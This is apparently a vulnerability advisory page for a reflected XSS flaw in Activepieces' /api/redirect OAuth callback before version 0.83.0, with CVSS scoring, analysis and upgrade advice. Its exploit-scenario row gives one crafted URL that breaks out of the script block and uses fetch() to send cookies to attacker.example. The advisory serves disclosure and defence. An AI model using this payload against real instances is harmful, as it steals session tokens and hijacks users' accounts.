EUVD-2026-56552Severity by source
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Network-delivered reflected XSS requires victim to click a crafted link (UI:R); injected script runs in the Activepieces origin causing scope change (S:C); no availability impact applies.
Primary rating from Vendor (GitHub_M).
CVSS VectorVendor: GitHub_M
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Lifecycle Timeline
3DescriptionCVE.org
Activepieces is an open source AI workflow automation platform. Prior to 0.83.0, the /api/redirect OAuth callback endpoint embeds the user-supplied code query parameter directly into an inline script block without proper escaping. A crafted request to /api/redirect with a malicious code value can break out of the script context and execute arbitrary JavaScript in the Activepieces origin when a logged-in user opens it. An unauthenticated attacker can access the victim's session tokens or make authenticated API calls on the victim's behalf. This issue is fixed in version 0.83.0.
AnalysisAI
Reflected XSS in Activepieces' OAuth callback endpoint /api/redirect allows an unauthenticated attacker to steal session tokens or execute authenticated API calls on behalf of logged-in users. Versions prior to 0.83.0 embed the user-supplied code query parameter directly inside an inline <script> block, enabling script context breakout via closing tag injection - a flaw the public patch commit fully discloses, substantially lowering the barrier to exploit development. …
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Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | The victim must be logged into Activepieces in the same browser session when they open the crafted link - exploitation relies on the browser sending the victim's authenticated session context, and fails entirely against unauthenticated users. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The CVSS 6.1 (Medium) vector AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N is well-calibrated: the attack is network-reachable, low complexity, and requires no attacker credentials, but is gated on a victim opening a crafted link (UI:R). … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker identifies a publicly accessible Activepieces instance and crafts a URL such as `/api/redirect?code=x%3C/script%3E%3Cscript%3Efetch('https://attacker.example/steal?c='+document.cookie)%3C/script%3E`. The attacker delivers this URL to a logged-in Activepieces user via a phishing message; when the victim opens the link in their browser, the injected script executes in the Activepieces origin, silently exfiltrating the session token to the attacker's server. … |
| Remediation | Upgrade to Activepieces version 0.83.0 or later, which fully resolves the injection by moving the OAuth code out of the script block into a DOM-read `<meta>` attribute and adding a Content-Security-Policy header. … Detailed patch versions, workarounds, and compensating controls in full report. |
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External POC / Exploit Code
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